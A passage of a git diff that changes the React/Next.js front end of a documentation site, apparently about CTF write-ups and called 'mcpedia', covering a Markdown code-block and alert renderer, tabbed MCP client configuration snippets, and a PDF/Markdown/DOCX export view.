|
||||
<p className="text-xs text-[var(--text-secondary)] leading-relaxed mb-5">
|
||||
{activeNode.desc}
|
||||
</p>
|
||||
|
||||
{/* Telemetry Metrics */}
|
||||
<div className="mb-5">
|
||||
<span className="text-[10px] font-semibold uppercase tracking-wider text-[var(--text-muted)] font-mono mb-2 block">
|
||||
Specifications
|
||||
</span>
|
||||
<div className="space-y-1.5">
|
||||
{activeNode.metrics.map((m) => (
|
||||
<div
|
||||
key={m.label}
|
||||
className="flex items-center justify-between p-2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-xs"
|
||||
>
|
||||
<span className="text-[var(--text-muted)] text-[11px]">{m.label}</span>
|
||||
<span className="font-mono font-medium text-[var(--text-primary)] text-[11px]">{m.value}</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Key Capabilities */}
|
||||
<div>
|
||||
<span className="text-[10px] font-semibold uppercase tracking-wider text-[var(--text-muted)] font-mono mb-2 block">
|
||||
Capabilities
|
||||
</span>
|
||||
<ul className="space-y-1.5">
|
||||
{activeNode.features.map((feat, idx) => (
|
||||
<li key={idx} className="flex items-start gap-2 text-xs text-[var(--text-secondary)]">
|
||||
<span className="text-emerald-500 shrink-0 font-mono text-[11px]">✓</span>
|
||||
<span>{feat}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Link to Documentation */}
|
||||
{activeNode.docLink && (
|
||||
<div className="pt-3 border-t border-[var(--border-color)]">
|
||||
<Link
|
||||
href={activeNode.docLink}
|
||||
className="inline-flex items-center justify-center gap-1.5 w-full py-2 bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-xs font-semibold text-[var(--text-primary)] rounded-lg transition-colors group"
|
||||
>
|
||||
<span>Read documentation</span>
|
||||
<ArrowRight className="w-3.5 h-3.5 group-hover:translate-x-0.5 transition-transform" />
|
||||
</Link>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -4,20 +4,44 @@ import React, { useState } from "react";
|
||||
import ReactMarkdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import rehypeSlug from "rehype-slug";
|
||||
import rehypeHighlight from "rehype-highlight";
|
||||
import {
|
||||
Copy,
|
||||
Check,
|
||||
Info,
|
||||
Lightbulb,
|
||||
AlertTriangle,
|
||||
Flame,
|
||||
ShieldAlert,
|
||||
} from "lucide-react";
|
||||
|
||||
function CodeBlock({ children, className, ...props }: React.HTMLAttributes<HTMLElement>) {
|
||||
function extractText(node: React.ReactNode): string {
|
||||
if (node === null || node === undefined || typeof node === "boolean") {
|
||||
return "";
|
||||
}
|
||||
if (typeof node === "string" || typeof node === "number") {
|
||||
return String(node);
|
||||
}
|
||||
if (Array.isArray(node)) {
|
||||
return node.map(extractText).join("");
|
||||
}
|
||||
if (React.isValidElement(node)) {
|
||||
return extractText((node.props as { children?: React.ReactNode })?.children);
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
function PreBlock({ children, ...props }: React.HTMLAttributes<HTMLPreElement>) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
const textContent = String(children).replace(/\n$/, "");
|
||||
const match = /language-(\w+)/.exec(className || "");
|
||||
const language = match ? match[1] : "";
|
||||
const textContent = extractText(children).replace(/\n$/, "");
|
||||
|
||||
// If inline code
|
||||
if (!className && typeof children === "string" && !children.includes("\n")) {
|
||||
return (
|
||||
<code className={className} {...props}>
|
||||
{children}
|
||||
</code>
|
||||
);
|
||||
let language = "text";
|
||||
if (React.isValidElement(children)) {
|
||||
const className = (children.props as { className?: string })?.className || "";
|
||||
const match = /language-(\w+)/.exec(className);
|
||||
if (match) {
|
||||
language = match[1];
|
||||
}
|
||||
}
|
||||
|
||||
function handleCopy() {
|
||||
@@ -27,37 +51,42 @@ function CodeBlock({ children, className, ...props }: React.HTMLAttributes<HTMLE
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="relative group my-4 rounded-lg overflow-hidden border border-[#23252a] bg-[#0c0d0e]">
|
||||
<div className="code-block-wrapper relative group my-6 print:my-2 rounded-xl print:rounded border border-[var(--border-code)] print:border-slate-300 bg-[var(--code-block-bg)] print:bg-slate-50 shadow-sm print:shadow-none">
|
||||
{/* Code block header bar */}
|
||||
<div className="flex items-center justify-between px-3.5 py-1.5 bg-[#141517] border-b border-[#1f2022] text-[11px] text-[#8a8f98] font-mono">
|
||||
<span>{language || "text"}</span>
|
||||
<div className="code-block-header flex items-center justify-between px-4 py-2.5 print:px-2.5 print:py-0.5 bg-[var(--code-header-bg)] print:bg-slate-100 border-b border-[var(--border-code)] print:border-slate-300 text-xs font-mono select-none">
|
||||
<div className="flex items-center gap-2.5">
|
||||
<div className="no-print flex items-center gap-1.5 opacity-75 group-hover:opacity-100 transition-opacity">
|
||||
<span className="w-2.5 h-2.5 rounded-full bg-rose-500/80 inline-block" />
|
||||
<span className="w-2.5 h-2.5 rounded-full bg-amber-500/80 inline-block" />
|
||||
<span className="w-2.5 h-2.5 rounded-full bg-emerald-500/80 inline-block" />
|
||||
</div>
|
||||
<span className="text-[11px] print:text-[7pt] font-semibold uppercase tracking-wider text-[var(--text-muted)] print:text-slate-700 group-hover:text-[var(--text-primary)] transition-colors">
|
||||
{language}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<button
|
||||
onClick={handleCopy}
|
||||
type="button"
|
||||
className="flex items-center gap-1 text-[#8a8f98] hover:text-[#f7f8f8] bg-[#1a1b1d] hover:bg-[#23252a] px-2 py-0.5 rounded border border-[#27292d] transition-all"
|
||||
aria-label="Copy code to clipboard"
|
||||
className="no-print flex items-center gap-1.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] bg-[var(--code-button-bg)] hover:bg-[var(--code-button-hover-bg)] px-2.5 py-1 rounded-md border border-[var(--border-code)] transition-all font-sans shadow-xs cursor-pointer"
|
||||
>
|
||||
{copied ? (
|
||||
<>
|
||||
<svg className="w-3 h-3 text-emerald-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
|
||||
</svg>
|
||||
<span className="text-emerald-400 font-sans">Copied!</span>
|
||||
<Check className="w-3.5 h-3.5 text-emerald-500" />
|
||||
<span className="text-emerald-500 font-medium">Copied!</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<svg className="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z" />
|
||||
</svg>
|
||||
<span className="font-sans">Copy</span>
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
<span>Copy</span>
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<pre className="!m-0 !bg-transparent p-4 overflow-x-auto text-sm text-[#e2e4e7] font-mono leading-relaxed">
|
||||
<code className={className} {...props}>
|
||||
{children}
|
||||
</code>
|
||||
<pre className="!m-0 !bg-transparent p-4 sm:p-5 print:p-2 overflow-x-auto text-[13px] sm:text-[13.5px] print:text-[7.5pt] text-[var(--pre-text)] print:text-slate-900 font-mono leading-relaxed print:leading-snug" {...props}>
|
||||
{children}
|
||||
</pre>
|
||||
</div>
|
||||
);
|
||||
@@ -66,32 +95,88 @@ function CodeBlock({ children, className, ...props }: React.HTMLAttributes<HTMLE
|
||||
export default function Markdown({ source }: { source: string }) {
|
||||
return (
|
||||
<div
|
||||
className="prose prose-invert max-w-none
|
||||
prose-headings:text-[#f7f8f8] prose-headings:font-medium prose-headings:tracking-tight
|
||||
prose-h1:text-2xl prose-h1:mb-6 prose-h1:mt-8 prose-h1:pb-2 prose-h1:border-b prose-h1:border-[#1f2022]
|
||||
prose-h2:text-xl prose-h2:mb-4 prose-h2:mt-8
|
||||
prose-h3:text-base prose-h3:mb-3 prose-h3:mt-6
|
||||
prose-p:text-[#d0d6e0] prose-p:leading-relaxed prose-p:mb-4
|
||||
prose-a:text-[#7170ff] prose-a:no-underline hover:prose-a:underline hover:prose-a:text-[#828fff]
|
||||
prose-ul:text-[#d0d6e0] prose-ul:my-3 prose-li:my-1
|
||||
prose-ol:text-[#d0d6e0] prose-ol:my-3
|
||||
prose-strong:text-[#f7f8f8] prose-strong:font-semibold
|
||||
prose-hr:border-[#1f2022] prose-hr:my-8"
|
||||
className="prose max-w-none
|
||||
prose-headings:text-[var(--text-primary)] prose-headings:font-bold prose-headings:tracking-tight
|
||||
prose-h1:text-2xl sm:prose-h1:text-3xl prose-h1:mb-6 prose-h1:mt-8 prose-h1:pb-3 prose-h1:border-b prose-h1:border-[var(--border-color)] print:prose-h1:text-[13pt] print:prose-h1:mt-2 print:prose-h1:mb-1 print:prose-h1:pb-0.5
|
||||
prose-h2:text-xl sm:prose-h2:text-2xl prose-h2:mb-4 prose-h2:mt-8 prose-h2:pb-2 prose-h2:border-b prose-h2:border-[var(--border-subtle)] print:prose-h2:text-[10.5pt] print:prose-h2:mt-2 print:prose-h2:mb-1 print:prose-h2:pb-0.5
|
||||
prose-h3:text-lg prose-h3:mb-3 prose-h3:mt-6 print:prose-h3:text-[9.5pt] print:prose-h3:mt-1.5 print:prose-h3:mb-0.5
|
||||
prose-p:text-[var(--text-secondary)] prose-p:leading-relaxed prose-p:mb-4 print:prose-p:text-[8.5pt] print:prose-p:leading-snug print:prose-p:mb-1.5
|
||||
prose-a:text-[var(--accent)] prose-a:font-medium prose-a:no-underline hover:prose-a:underline hover:prose-a:text-[var(--accent-hover)]
|
||||
prose-ul:text-[var(--text-secondary)] prose-ul:my-4 prose-li:my-1.5 print:prose-ul:my-1 print:prose-li:my-0.5
|
||||
prose-ol:text-[var(--text-secondary)] prose-ol:my-4 print:prose-ol:my-1
|
||||
prose-strong:text-[var(--text-primary)] prose-strong:font-semibold
|
||||
prose-hr:border-[var(--border-color)] prose-hr:my-8 print:prose-hr:my-2"
|
||||
>
|
||||
<ReactMarkdown
|
||||
remarkPlugins={[remarkGfm]}
|
||||
rehypePlugins={[rehypeSlug]}
|
||||
rehypePlugins={[rehypeSlug, rehypeHighlight]}
|
||||
components={{
|
||||
code: CodeBlock as any,
|
||||
pre: ({ children }) => <>{children}</>,
|
||||
pre: PreBlock as any,
|
||||
code: ({ children, className, ...props }: React.HTMLAttributes<HTMLElement>) => {
|
||||
if (className?.includes("hljs") || className?.includes("language-")) {
|
||||
return (
|
||||
<code className={className} {...props}>
|
||||
{children}
|
||||
</code>
|
||||
);
|
||||
}
|
||||
return (
|
||||
<code
|
||||
className="px-1.5 py-0.5 rounded-md print:rounded-none bg-[var(--code-inline-bg)] print:bg-slate-100 text-[var(--code-inline-text)] print:text-slate-900 border border-[var(--code-inline-border)] print:border-slate-200 font-mono text-[0.875em] print:text-[7.5pt] font-medium"
|
||||
{...props}
|
||||
>
|
||||
{children}
|
||||
</code>
|
||||
);
|
||||
},
|
||||
table: ({ node, ...props }) => (
|
||||
<div className="overflow-x-auto my-6 border border-[#1f2022] rounded-lg">
|
||||
<div className="overflow-x-auto my-6 print:my-1.5 border border-[var(--border-color)] print:border-slate-300 rounded-xl print:rounded-none shadow-xs print:shadow-none">
|
||||
<table className="w-full border-collapse" {...props} />
|
||||
</div>
|
||||
),
|
||||
blockquote: ({ children }) => {
|
||||
const rawText = extractText(children).trim();
|
||||
const alertMatch = rawText.match(/^\[!(NOTE|TIP|IMPORTANT|WARNING|CAUTION)\]/i);
|
||||
|
||||
if (alertMatch) {
|
||||
const alertType = alertMatch[1].toUpperCase();
|
||||
let borderClass = "border-indigo-500 bg-indigo-500/10 text-indigo-900 dark:text-indigo-200 print:bg-indigo-50 print:text-indigo-950";
|
||||
let Icon = Info;
|
||||
let title = "Note";
|
||||
|
||||
if (alertType === "TIP") {
|
||||
borderClass = "border-emerald-500 bg-emerald-500/10 text-emerald-900 dark:text-emerald-200 print:bg-emerald-50 print:text-emerald-950";
|
||||
Icon = Lightbulb;
|
||||
title = "Tip";
|
||||
} else if (alertType === "IMPORTANT") {
|
||||
borderClass = "border-violet-500 bg-violet-500/10 text-violet-900 dark:text-violet-200 print:bg-violet-50 print:text-violet-950";
|
||||
Icon = Flame;
|
||||
title = "Important";
|
||||
} else if (alertType === "WARNING") {
|
||||
borderClass = "border-amber-500 bg-amber-500/10 text-amber-900 dark:text-amber-200 print:bg-amber-50 print:text-amber-950";
|
||||
Icon = AlertTriangle;
|
||||
title = "Warning";
|
||||
} else if (alertType === "CAUTION") {
|
||||
borderClass = "border-rose-500 bg-rose-500/10 text-rose-900 dark:text-rose-200 print:bg-rose-50 print:text-rose-950";
|
||||
Icon = ShieldAlert;
|
||||
title = "Caution";
|
||||
}
|
||||
|
||||
return (
|
||||
<div className={`my-5 print:my-1.5 p-4 print:p-2 rounded-xl print:rounded border-l-4 ${borderClass} shadow-xs print:shadow-none`}>
|
||||
<div className="flex items-center gap-2 font-bold text-xs print:text-[7.5pt] uppercase tracking-wider mb-1.5 print:mb-0.5">
|
||||
<Icon className="w-4 h-4 print:w-3 print:h-3" />
|
||||
<span>{title}</span>
|
||||
</div>
|
||||
<div className="text-xs sm:text-sm print:text-[8pt] text-[var(--text-secondary)] print:text-slate-900 [&>p]:mb-1 [&>p:last-child]:mb-0 print:[&>p]:mb-0.5">
|
||||
{children}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<blockquote className="border-l-4 border-[#5e6ad2] bg-[#141517]/60 pl-4 py-2 my-4 rounded-r text-[#a0a4a8] not-italic">
|
||||
<blockquote className="border-l-4 border-[var(--brand)] print:border-slate-500 bg-[var(--brand)]/5 dark:bg-[var(--brand)]/10 print:bg-slate-50 pl-4 print:pl-2.5 py-2.5 print:py-1 my-5 print:my-1.5 rounded-r-xl print:rounded-none text-[var(--text-secondary)] print:text-slate-900 not-italic print:text-[8pt]">
|
||||
{children}
|
||||
</blockquote>
|
||||
);
|
||||
|
||||
@@ -1,11 +1,22 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import Markdown from "@/components/Markdown";
|
||||
import {
|
||||
Sparkles,
|
||||
Terminal,
|
||||
Server,
|
||||
Copy,
|
||||
Check,
|
||||
Laptop,
|
||||
} from "lucide-react";
|
||||
|
||||
const CONFIGS = [
|
||||
{
|
||||
id: "claude",
|
||||
label: "Claude Desktop",
|
||||
icon: Sparkles,
|
||||
lang: "json",
|
||||
filename: "~/Library/Application Support/Claude/claude_desktop_config.json",
|
||||
content: `{
|
||||
"mcpServers": {
|
||||
@@ -13,17 +24,37 @@ const CONFIGS = [
|
||||
"command": "bun",
|
||||
"args": ["run", "/path/to/mcpedia/apps/mcp/src/index.ts"],
|
||||
"env": {
|
||||
"DATABASE_URL": "postgresql://...",
|
||||
"DATABASE_URL": "postgresql://postgres:password@localhost:5432/mcpedia",
|
||||
"OPENROUTER_API_KEY": "sk-or-v1-..."
|
||||
}
|
||||
}
|
||||
}
|
||||
}`,
|
||||
},
|
||||
{
|
||||
id: "cursor",
|
||||
label: "Cursor AI",
|
||||
icon: Laptop,
|
||||
lang: "json",
|
||||
filename: ".cursor/mcp.json",
|
||||
content: `{
|
||||
"mcpServers": {
|
||||
"mcpedia": {
|
||||
"command": "bun",
|
||||
"args": ["run", "/path/to/mcpedia/apps/mcp/src/index.ts"],
|
||||
"env": {
|
||||
"DATABASE_URL": "postgresql://postgres:password@localhost:5432/mcpedia"
|
||||
}
|
||||
}
|
||||
}
|
||||
}`,
|
||||
},
|
||||
{
|
||||
id: "http",
|
||||
label: "Remote HTTP (SSE)",
|
||||
filename: "Streamable HTTP Endpoint",
|
||||
label: "Streamable HTTP (SSE)",
|
||||
icon: Server,
|
||||
lang: "json",
|
||||
filename: "Streamable HTTP Client Config",
|
||||
content: `{
|
||||
"mcpServers": {
|
||||
"mcpedia-remote": {
|
||||
@@ -37,12 +68,14 @@ const CONFIGS = [
|
||||
},
|
||||
{
|
||||
id: "cli",
|
||||
label: "CLI Client",
|
||||
filename: "Terminal One-Shot / REPL",
|
||||
content: `# One-shot question
|
||||
bun run apps/mcp-client/src/ask.ts "How does ret2win stack alignment work?"
|
||||
label: "CLI & Scripts",
|
||||
icon: Terminal,
|
||||
lang: "bash",
|
||||
filename: "Terminal Subprocess / REPL",
|
||||
content: `# Semantic question answering via MCP client
|
||||
bun run apps/mcp-client/src/ask.ts "How does ret2win stack alignment work in x86_64?"
|
||||
|
||||
# Interactive REPL
|
||||
# Interactive REPL with tool discovery
|
||||
bun run apps/mcp-client/src/index.ts`,
|
||||
},
|
||||
];
|
||||
@@ -53,49 +86,55 @@ export default function McpConfigSnippet() {
|
||||
|
||||
const current = CONFIGS.find((c) => c.id === activeTab) || CONFIGS[0];
|
||||
|
||||
function handleCopy() {
|
||||
const markdownSnippet = `\`\`\`${current.lang}
|
||||
${current.content}
|
||||
\`\`\``;
|
||||
|
||||
function handleCopyAll() {
|
||||
navigator.clipboard.writeText(current.content);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl overflow-hidden shadow-md">
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl overflow-hidden shadow-xs">
|
||||
{/* Header bar with tabs */}
|
||||
<div className="flex items-center justify-between px-4 py-2.5 bg-[var(--bg-elevated)] border-b border-[var(--border-color)] flex-wrap gap-2">
|
||||
<div className="flex items-center gap-1.5">
|
||||
{CONFIGS.map((c) => (
|
||||
<button
|
||||
key={c.id}
|
||||
onClick={() => setActiveTab(c.id)}
|
||||
className={`px-3 py-1 text-xs rounded-md font-medium transition-all ${
|
||||
activeTab === c.id
|
||||
? "bg-[#5e6ad2] text-white shadow-sm"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-surface)]"
|
||||
}`}
|
||||
>
|
||||
{c.label}
|
||||
</button>
|
||||
))}
|
||||
<div className="flex items-center gap-1.5 flex-wrap">
|
||||
{CONFIGS.map((c) => {
|
||||
const Icon = c.icon;
|
||||
const isSelected = activeTab === c.id;
|
||||
return (
|
||||
<button
|
||||
key={c.id}
|
||||
onClick={() => setActiveTab(c.id)}
|
||||
type="button"
|
||||
className={`flex items-center gap-1.5 px-3 py-1.5 text-xs rounded-md font-medium transition-all cursor-pointer ${
|
||||
isSelected
|
||||
? "bg-[var(--brand)] text-[var(--brand-fg)] font-semibold shadow-xs"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-surface)]"
|
||||
}`}
|
||||
>
|
||||
<Icon className="w-3.5 h-3.5" />
|
||||
<span>{c.label}</span>
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
<button
|
||||
onClick={handleCopy}
|
||||
onClick={handleCopyAll}
|
||||
type="button"
|
||||
className="flex items-center gap-1.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated-hover)] px-2.5 py-1 rounded border border-[var(--border-color)] transition-all shadow-sm"
|
||||
className="flex items-center gap-1.5 px-2.5 py-1 text-xs bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer font-medium"
|
||||
>
|
||||
{copied ? (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5 text-emerald-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
|
||||
</svg>
|
||||
<span className="text-emerald-500 font-medium">Copied!</span>
|
||||
<Check className="w-3.5 h-3.5 text-emerald-500" />
|
||||
<span className="text-emerald-500">Copied</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<svg className="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z" />
|
||||
</svg>
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
<span>Copy Config</span>
|
||||
</>
|
||||
)}
|
||||
@@ -103,12 +142,26 @@ export default function McpConfigSnippet() {
|
||||
</div>
|
||||
|
||||
{/* Code preview */}
|
||||
<pre className="p-4 text-xs font-mono text-[var(--pre-text)] bg-[var(--code-block-bg)] overflow-x-auto leading-relaxed">
|
||||
<code>{current.content}</code>
|
||||
</pre>
|
||||
<div className="p-4 sm:p-5 [&>.prose>.group]:my-0 [&>.prose]:max-w-none">
|
||||
<Markdown source={markdownSnippet} />
|
||||
</div>
|
||||
|
||||
<div className="px-4 py-2 bg-[var(--bg-elevated)] border-t border-[var(--border-color)] text-[11px] text-[var(--text-dim)]">
|
||||
Config location: <span className="font-mono text-[var(--text-muted)]">{current.filename}</span>
|
||||
{/* Footer Info */}
|
||||
<div className="px-4 py-2.5 bg-[var(--bg-elevated)] border-t border-[var(--border-color)] text-xs text-[var(--text-dim)] flex flex-col sm:flex-row sm:items-center justify-between gap-2">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="font-mono uppercase text-[10px] text-[var(--text-muted)]">
|
||||
Target File:
|
||||
</span>
|
||||
<span className="font-mono text-[var(--text-secondary)] text-[11px]">
|
||||
{current.filename}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-3 text-[11px] font-mono">
|
||||
<span className="flex items-center gap-1 text-[var(--text-muted)]">
|
||||
<span>[ 13_TOOLS_ACTIVE ]</span>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -0,0 +1,451 @@
|
||||
"use client";
|
||||
|
||||
import React, { useState, useMemo } from "react";
|
||||
import Link from "next/link";
|
||||
import Markdown from "./Markdown";
|
||||
import {
|
||||
extractDocCategory,
|
||||
extractDocPoints,
|
||||
extractDocDifficulty,
|
||||
sortExportDocuments,
|
||||
compileExportMarkdown,
|
||||
type Document,
|
||||
type ExportData,
|
||||
type ExportSortOption,
|
||||
} from "@mcpedia/core/export-helpers";
|
||||
import { getSectionMeta } from "@mcpedia/config/sections";
|
||||
import {
|
||||
Printer,
|
||||
FileDown,
|
||||
FileText,
|
||||
Copy,
|
||||
Check,
|
||||
ArrowLeft,
|
||||
BookOpen,
|
||||
} from "lucide-react";
|
||||
|
||||
interface PdfExportViewProps {
|
||||
exportData: ExportData;
|
||||
backHref: string;
|
||||
}
|
||||
|
||||
export default function PdfExportView({
|
||||
exportData,
|
||||
backHref,
|
||||
}: PdfExportViewProps) {
|
||||
const { summary, documents: initialDocs } = exportData;
|
||||
|
||||
// Filter out any leftover index / meta files
|
||||
const cleanDocs = useMemo(() => {
|
||||
return initialDocs.filter((d) => {
|
||||
const slug = d.slug.toLowerCase();
|
||||
return (
|
||||
!slug.endsWith("/_index") &&
|
||||
!slug.endsWith("/index") &&
|
||||
slug !== "_index" &&
|
||||
slug !== "index" &&
|
||||
d.type !== "writeup-index"
|
||||
);
|
||||
});
|
||||
}, [initialDocs]);
|
||||
|
||||
// Configuration and interactive state
|
||||
const [sortBy, setSortBy] = useState<ExportSortOption>("category_points");
|
||||
const [showTOC, setShowTOC] = useState(cleanDocs.length > 1);
|
||||
const [pageBreaks, setPageBreaks] = useState(true);
|
||||
const [selectedCategory, setSelectedCategory] = useState<string>("all");
|
||||
const [copiedMd, setCopiedMd] = useState(false);
|
||||
|
||||
const sectionMeta = getSectionMeta(summary.section);
|
||||
|
||||
// Available categories for filtering
|
||||
const allCategories = useMemo(() => {
|
||||
const set = new Set<string>();
|
||||
for (const doc of cleanDocs) {
|
||||
set.add(extractDocCategory(doc));
|
||||
}
|
||||
return Array.from(set).sort();
|
||||
}, [cleanDocs]);
|
||||
|
||||
// Filtered & Sorted documents
|
||||
const filteredAndSortedDocs = useMemo(() => {
|
||||
let docs = [...cleanDocs];
|
||||
if (selectedCategory !== "all") {
|
||||
docs = docs.filter(
|
||||
(d) => extractDocCategory(d).toLowerCase() === selectedCategory.toLowerCase(),
|
||||
);
|
||||
}
|
||||
return sortExportDocuments(docs, sortBy);
|
||||
}, [cleanDocs, selectedCategory, sortBy]);
|
||||
|
||||
// Calculate dynamic stats for currently filtered view
|
||||
const currentTotalPoints = useMemo(() => {
|
||||
return filteredAndSortedDocs.reduce(
|
||||
(sum, d) => sum + extractDocPoints(d),
|
||||
0,
|
||||
);
|
||||
}, [filteredAndSortedDocs]);
|
||||
|
||||
function handlePrint() {
|
||||
window.print();
|
||||
}
|
||||
|
||||
function handleCopyMarkdown() {
|
||||
const md = compileExportMarkdown({
|
||||
summary,
|
||||
documents: filteredAndSortedDocs,
|
||||
});
|
||||
navigator.clipboard.writeText(md);
|
||||
setCopiedMd(true);
|
||||
setTimeout(() => setCopiedMd(false), 2000);
|
||||
}
|
||||
|
||||
function handleDownloadMarkdown() {
|
||||
const md = compileExportMarkdown({
|
||||
summary,
|
||||
documents: filteredAndSortedDocs,
|
||||
});
|
||||
const blob = new Blob([md], { type: "text/markdown;charset=utf-8" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = url;
|
||||
const safeName = summary.title
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, "-")
|
||||
.replace(/^-|-$/g, "");
|
||||
a.download = `${safeName}.md`;
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
document.body.removeChild(a);
|
||||
URL.revokeObjectURL(url);
|
||||
}
|
||||
|
||||
const [downloadingDocx, setDownloadingDocx] = useState(false);
|
||||
|
||||
async function handleDownloadDocx() {
|
||||
setDownloadingDocx(true);
|
||||
try {
|
||||
const slugs = filteredAndSortedDocs.map((d) => d.slug).join(",");
|
||||
const safeName =
|
||||
summary.title
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, "-")
|
||||
.replace(/^-|-$/g, "") || "export";
|
||||
const url = `/api/export?format=docx&slugs=${encodeURIComponent(slugs)}&sort=${sortBy}&pageBreaks=${pageBreaks}`;
|
||||
const res = await fetch(url);
|
||||
if (!res.ok) throw new Error("Failed to generate Word document");
|
||||
const blob = await res.blob();
|
||||
const blobUrl = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = blobUrl;
|
||||
a.download = `${safeName}.docx`;
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
document.body.removeChild(a);
|
||||
URL.revokeObjectURL(blobUrl);
|
||||
} catch (err) {
|
||||
console.error("DOCX download error:", err);
|
||||
alert("Failed to generate .docx file. Please try again.");
|
||||
} finally {
|
||||
setDownloadingDocx(false);
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="pb-16 print:pb-0">
|
||||
{/* Export Control Toolbar (Screen Only — Hidden in Print) */}
|
||||
<aside className="no-print export-toolbar sticky top-16 z-30 mb-8 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-4 sm:p-5 shadow-xs">
|
||||
<div className="flex flex-col lg:flex-row lg:items-center justify-between gap-4">
|
||||
{/* Left info & Back button */}
|
||||
<div className="flex items-center gap-3">
|
||||
<Link
|
||||
href={backHref}
|
||||
className="inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-semibold bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] rounded-md text-[var(--text-secondary)] hover:text-[var(--text-primary)] transition-colors shadow-xs"
|
||||
>
|
||||
<ArrowLeft className="w-3.5 h-3.5" />
|
||||
<span>Back</span>
|
||||
</Link>
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs font-mono text-[var(--text-primary)] font-bold uppercase">
|
||||
{sectionMeta.label}
|
||||
</span>
|
||||
<span className="text-xs text-[var(--text-dim)]">·</span>
|
||||
<span className="text-xs text-[var(--text-muted)] font-mono">
|
||||
{filteredAndSortedDocs.length} challenge{filteredAndSortedDocs.length !== 1 ? "s" : ""}
|
||||
{currentTotalPoints > 0 ? ` (${currentTotalPoints} pts)` : ""}
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="text-sm font-bold text-[var(--text-primary)] truncate max-w-md">
|
||||
{summary.title}
|
||||
</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Action Buttons */}
|
||||
<div className="flex items-center gap-2 flex-wrap sm:flex-nowrap">
|
||||
{/* Copy All Markdown */}
|
||||
<button
|
||||
onClick={handleCopyMarkdown}
|
||||
type="button"
|
||||
className="inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-semibold bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-md transition-colors shadow-xs cursor-pointer"
|
||||
title="Copy compiled markdown document"
|
||||
>
|
||||
{copiedMd ? (
|
||||
<>
|
||||
<Check className="w-3.5 h-3.5 text-emerald-500" />
|
||||
<span className="text-emerald-500 font-bold">Copied</span>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
